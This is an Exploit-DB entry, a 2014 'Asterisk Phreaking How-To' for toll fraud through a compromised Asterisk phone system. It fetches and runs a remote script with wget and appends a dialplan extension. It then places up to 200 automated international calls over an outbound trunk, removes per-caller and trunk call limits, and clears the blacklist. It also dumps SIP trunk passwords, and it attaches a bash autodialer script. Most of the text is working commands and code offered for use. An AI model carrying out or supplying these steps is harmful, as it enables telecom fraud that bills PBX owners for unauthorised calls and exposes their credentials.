Asterisk Phreaking How-To

EDB-ID:

33910

CVE:

N/A


Platform:

Multiple

Published:

2014-06-29

Asterisk Phreaking How-To
	by Akramachamarei

This file shows how to use asterisk to make international calls. All is
done with command line client. A graphical client like Zoiper can be used 
additionally to verify that the endpoint number can be reached.

Required is access to the pbx as asterisk user.

First execute
asterisk -rx 'sip show peers'

sample output
Name/username Host Dyn Forcerport ACL Port Status Description
1741240560	10.200.7.157  N 5060 OK (49 ms)
201/201    (Unspecified)  D N A  0 UNKNOWN
202/202    (Unspecified)  D N A  0 UNKNOWN
203/203    (Unspecified)  D N A  0 UNKNOWN
204/204    (Unspecified)  D N A  0 UNKNOWN
205        (Unspecified)  D N A  0 UNKNOWN
STXSIP     10.200.7.157   N 5060 OK (44 ms)

...to view the active peers connected. The peers at top show the caller 
ids we will use for the auto dial call file. At bottom the trunks are 
listed, there are two types of trunks, inbound and outbound. We are 
interested in the outbound trunks to place calls.

We will use the shell script at the end of this tutorial to place automated
calls.

Now we have to fetch the call.sh script to the asterisk pbx.

Command
wget -O /tmp/c.sh <ip>/call.sh;chmod a+x /tmp/c.sh;/tmp/c.sh add;asterisk \
-rx 'dialplan reload';asterisk -rx 'manager reload'

...will download call.sh from <ip>, save it to /tmp/c.sh. Then it will call 
the add function of the shell script to add a new extension to /etc/
asterisk/extensions.conf.

the new extension is

[calloutnow]
echo "exten => 100,1,Wait(999999999)

which just waits until the call is hung up. then the command reloads the 
dialplan and manager to activate the new extension.

now we are ready to make calls.

this is the command layout
/tmp/c.sh slow <number of calls> <callerid> NULL <number of seconds between
 calls> <delay before the calls are placed> <trunk with destination number>

here is an example command to place a test call
/tmp/c.sh slow 1 205 NULL 15 1 SIP/STXSIP/00449999999999

this command will execute 1 call from callerid 205 at an interval of 15 
seconds to trunk STXSIP and destination number 00449999999999. Normally 
it's ok to use the 00 prefix for the calls, I haven't seen a pbx that 
doesn't change the prefix automatically.

to see if the place succeeds we look into the asterisk log file located at
/var/log/asterisk/full

Command
tail -30 /var/log/asterisk/full

...will show log like
[2014-02-14 07:47:05] VERBOSE[30266] pbx_spool.c:     -- Attempting call on 
SIP/STXSIP/00449999999999 for 100@calloutnow3:1 (Retry 1)
[2014-02-14 07:47:05] VERBOSE[30266][C-00003930] netsock2.c:   == Using SIP 
RTP TOS bits 184
[2014-02-14 07:47:05] VERBOSE[30266][C-00003930] netsock2.c:   == Using SIP 
RTP CoS mark 5
[2014-02-14 07:47:16] VERBOSE[30266][C-00003930] pbx.c:     -- Executing [
100@calloutnow3:1] Wait("SIP/STXSIP-00003941", "999999999") in new stack

this indicates a successful connection to the number. We can see this 
by the line Wait("SIP/STXSIP-00003941", "999999999") entry.

If the log file still shows this line after some seconds and not an error 
that it hung up the call then we can be sure that the line calls stable.

After we have assured the call goes to the destination we can place more 
calls to the number.

Command
/tmp/c.sh slow 200 205 NULL 15 1 SIP/STXSIP/00449999999999

calls the destination 200 times with an interval delay of 15 seconds.

we always can view the call queue is running by looking into the asterisk 
outgoing spool path /var/spool/asterisk/outgoing.

Simply with
ls -la /var/spool/asterisk/outgoing

We can stop upcoming calls by deleting the queue.

Simply with
rm /var/spool/asterisk/outgoing/*

Individual calls can be hung up with

asterisk -rx 'core show channels concise'

this will show the channel name of the call at the left side and

asterisk -r -x 'channel request hangup <channel name>'

hangs up the call.

Some asterisks have limits configured. There are two types of limits, 
limits bound to the callerid and limits for the maximum outbound calls for 
the trunk.

we can see if there are limits for the callerid with

asterisk -rx 'sip show inuse'

the limit column with value 2147483647 means unlimited calls.

we can see the outbound trunk limit with

grep OUTMAXCHANS /etc/asterisk/*

empty entries mean unlimited outbound calls for the asterisk pbx we have 
access to, it does not show and we cannot manipulate the outbound call 
limit of the trunk peer.

we can set limits for callerids by

asterisk -rx "database put AMPUSER <callerid>/concurrency_limit 9999999"

will set <callerid> concurrency call limit to a high value.

we can set outbound trunk limits with the sed command to change 
extensions_additonal.conf, you should backup this file before doing so.

sed -i.bak 's/OUTMAXCHANS_1 =\ 5/OUTMAXCHANS_1 =/g' /etc/asterisk/ \
extensions_additional.conf
asterisk -rx 'dialplan reload';asterisk -rx 'manager reload'

these commands will change OUTMAXCHANS_1 setting from 5 to unlimited and 
reload asterisk dialplan and manager.

finally when a callerid is blacklisted by the pbx we can recover the 
callerid with

asterisk -rx 'database del blacklist <callerid>'

one useful command is
cat /etc/asterisk/sip_additional.conf
it dumps callerids and trunks with passwords.

attached is the call.sh script for your pleasure.

Happy Calls and Stay safe!

#!/bin/bash

#***************************************************************#
#                     generateCalls.sh                          #
#                  written by: Sam Rausch                       #
#                    samrausch@gmail.com                        #
#                       version 0.1                             #
#                  written October 21, 2011                     #
#***************************************************************#
#                                                               #
# assumes presence of Asterisk already configured               #
# + with a spool path at /var/spool/asterisk/outgoing           #
# + with an 'autodialer' context configured as follows          #
#                                                               #
# [autodialer]                                                  #
# exten => 100,1,Playback(some-foo-goes-here)                   #
# exten => 100,2,Wait(1)                                        #
# exten => 100,3,Playback(goodbye)                              #
# exten => 100,4,Hangup                                         #
#                                                               #
# this script has two functions                                 #
# + fast() will generate calls at a fixed $callsPerSecond rate  #
# + slow() will generate calls with a fixed $intercallDelay     #
#                                                               #
# if you find this script useful, consider dropping             #
# me a note to say thanks.  i don't want beer money             #
# and i don't have an Amazon wishlist ;-)                       #
# if you're inclined to compensate me monetarily,               #
# please make a donation to:                                    #
#                                                               #
# -= http://www.donors1.org/contribute =-                       #
#                                                               #
# this script is free to redistribute as long as                #
# everything above remains intact                               #
#                                                               #
# if you remove my name and take credit for the script          #
# rabid space cats will come to your house and                  #
# speedhump your legs until you beg for mercy...                #
# ...please don't make me send my space cats                    #
#                                                               #
#***************************************************************#

asteriskSpoolPath=/var/spool/asterisk/outgoing

add ()
{
echo "[calloutnow]" >> /etc/asterisk/extensions.conf
echo "exten => 100,1,Wait(999999999)"  >> /etc/asterisk/extensions.conf
echo ok
exit 0
}

#-----------------------------------------------------------------------------#
# fast ()                                                                     #
# generates .call files for use by Asterisk                                   #
# Parameters: numcalls, callingParty, calledParty, callsPerSecond, startDelay #
#-----------------------------------------------------------------------------#
fast ()
{
# prompt for values if not given on the CLI
if [ -z "$2" ]
then
  echo
  echo "<---------------------------------------------------------------------------->"
  echo "Oops, I don't know enough to place your calls."
  echo "Please tell me more about what you'd like to do"
  echo "using the following format:"
  echo
  echo "generateCalls <numCalls> <callingParty> <calledParty> <callsPerSecond> <startDelay>"
  echo
  echo "<numCalls> = total number of calls to generate"
  echo "<callingParty> = phone number originating the calls expressed as xxxxxxxxxx"
  echo "<calledParty> = phone number terminating the calls expressed as xxxxxxxxxx"
  echo "<callsPerSecond> = number of calls placed per second, if the same as
  echo "                   <numCalls> then all calls will be placed simultaneously"
  echo "<startDelay> = delay after executing script for calls to start expressed in seconds
  echo
  echo "I'll be creating your .call files in $(pwd)"
  echo "then moving them to the default Asterisk spool path"
  echo "/var/spool/asterisk/outgoing/"
  echo
  echo "If you'ld like them to go somewhere else, you'll need to"
  echo "edit this script"
  echo "<---------------------------------------------------------------------------->"
  echo 
  exit 0
else
 let numCalls=$1
 callingParty="$2"
 calledParty="$3"
 let callsPerSecond=$4
 let startDelay=$5
 channel="$6"
fi

# Output the values for visual confirmation
echo  "You want to make $numCalls calls"
echo  "You want to call from $callingParty"
echo  "You want to call to $calledParty"
echo  "You want to place $callsPerSecond calls per second"
echo  "You want to wait $startDelay seconds before the first call"
echo  "You want to call from channel $channel"
echo

# Generate the .call files
let callsPerSecondReference=$callsPerSecond
let second=$startDelay
while [ "$numCalls" -gt 0 ]
do
  let callsPerSecond=$callsPerSecondReference
  while [ "$callsPerSecond" -gt 0 ]
  do
    echo "Channel: $channel" > testcall$numCalls.call
    echo "CallerID: \"CLI\"<$callingParty>" >> testcall$numCalls.call
    echo "Context: calloutnow" >> testcall$numCalls.call
    echo "Extension: 100" >> testcall$numCalls.call
    echo "Priority: 1" >> testcall$numCalls.call
    touch -r testcall$numCalls.call -d "+$second sec" testcall$numCalls.call
#    touch -t "$month$day$hour$minute.$second" testcall$numCalls.call
    let "numCalls -= 1"
    let "callsPerSecond -= 1"
  done
  let "second += 1"
done

# Move the .call files to the default Asterisk outgoing path
echo "Your calls will start in $startDelay seconds"
mv *.call /var/spool/asterisk/outgoing/

# Remind the user to answer their phone
echo Answer your phone!!!

# Now go away...
exit 0
}

#-----------------------------------------------------------------------------#
# slow ()                                                                     #
# generates .call files for use by Asterisk                                   #
# Parameters: numcalls, callingParty, calledParty, intercallDelay, startDelay #
#-----------------------------------------------------------------------------#
slow ()
{
# prompt for values if not given on the CLI
if [ -z "$2" ]
then
  echo
  echo "<---------------------------------------------------------------------------->"
  echo "Oops, I don't know enough to place your calls."
  echo "Please tell me more about what you'd like to do"
  echo "using the following format:"
  echo
  echo "generateCalls <numCalls> <callingParty> <calledParty> <intercallDelay> <startDelay>"
  echo
  echo "<numCalls> = total number of calls to generate"
  echo "<callingParty> = phone number originating the calls expressed as xxxxxxxxxx"
  echo "<calledParty> = phone number terminating the calls expressed as xxxxxxxxxx"
  echo "<intercallDelay> = number of seconds between calls"
  echo "<startDelay> = delay after executing script for calls to start expressed in seconds"
  echo "               You'll want to add 10 sec for every 1,000 files you want to generate"
  echo "I'll be creating your .call files in $(pwd)"
  echo "then moving them to the default Asterisk spool path"
  echo "/var/spool/asterisk/outgoing/"
  echo
  echo "If you'ld like them to go somewhere else, you'll need to"
  echo "edit this script"
  echo "<---------------------------------------------------------------------------->"
  echo 
  exit 0
else
 let numCalls=$1
 callingParty="$2"
 let intercallDelay=$3
 let startDelay=$4
 channel="$5"
fi

# Output the values for visual confirmation
echo  "You want to make $numCalls calls"
echo  "You want to call from $callingParty"
echo  "You want to call to $channel"
echo  "You want to wait $intercallDelay seconds between calls"
echo  "You want to wait $startDelay seconds before the first call"
echo

# Generate the .call files
let second=$startDelay
while [ "$numCalls" -gt 0 ]
do
  echo "Channel: $channel" > testcall$numCalls.call
  echo "CallerID: \"CLI\"<$callingParty>" >> testcall$numCalls.call
  echo "Context: calloutnow" >> testcall$numCalls.call
  echo "Extension: 100" >> testcall$numCalls.call
  echo "Priority: 1" >> testcall$numCalls.call
  touch -r testcall$numCalls.call -d "+$second sec" testcall$numCalls.call
  let "numCalls -= 1"
  let second=$second+$intercallDelay
done

# Move the .call files to the default Asterisk outgoing path
echo "Your calls will start in $startDelay seconds"
mv *.call /var/spool/asterisk/outgoing/

# Remind the user to answer their phone
echo Answer your phone!!!

# Now go away...
exit 0
}

help ()
{
echo
echo
echo "****************************************************************"
echo
echo " this script has two functions                                  "
echo " + fast() will generate calls at a fixed callsPerSecond rate    "
echo " + slow() will generate calls with a fixed intercallDelay       "
echo                                                                
echo " if you find this script useful, consider dropping              "
echo " me a note to say thanks.  i don't want beer money              "
echo " and i don't have an Amazon wishlist ;-)                        "
echo " if you're inclined to compensate me monetarily,                "
echo " please make a donation to:                                     "
echo "                                                                "     
echo " -= http://www.donors1.org/contribute =-                        "   
echo "                                                                "  
echo " this script is free to redistribute as long as                 " 
echo " everything above remains intact                                "
echo "                                                                "
echo " if you remove my name and take credit for the script           "
echo " rabid space cats will come to your house and                   "
echo " speedhump your legs until you beg for mercy...                 "
echo " ...please don't make me send my space cats                     "
echo
echo "****************************************************************"
echo 
echo "generateCalls fast <numCalls> <callingParty> <calledParty> <callsPerSecond> <startDelay>"
echo "     numCalls       = total number of calls to generate"
echo "     callingParty   = phone number originating the calls expressed as xxxxxxxxxx"
echo "     calledParty    = phone number terminating the calls expressed as xxxxxxxxxx"
echo "     callsPerSecond = number of calls placed per second, if the same as"
echo "                      numCalls then all calls will be placed simultaneously"
echo "     startDelay     = delay after executing script for calls to start expressed in seconds"
echo
echo "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"
echo
echo "generateCalls slow <numCalls> <callingParty> <calledParty> <intercallDelay> <startDelay>"
echo "     numCalls       = total number of calls to generate"
echo "     callingParty   = phone number originating the calls expressed as xxxxxxxxxx"
echo "     calledParty    = phone number terminating the calls expressed as xxxxxxxxxx"
echo "     intercallDelay = number of seconds between calls"
echo "     startDelay     = delay after executing script for calls to start expressed in seconds"
echo "                      You'll want to add 10 sec for every 1,000 files you want to generate"
echo
echo
exit 0
}

# need this line to call the function passed from the CLI
# because bash is too stupid to let me define functions
# locally to override what's in .bashrc
"$1" "$2" "$3" "$4" "$5" "$6" "$7" "$8" "$9"

exit 0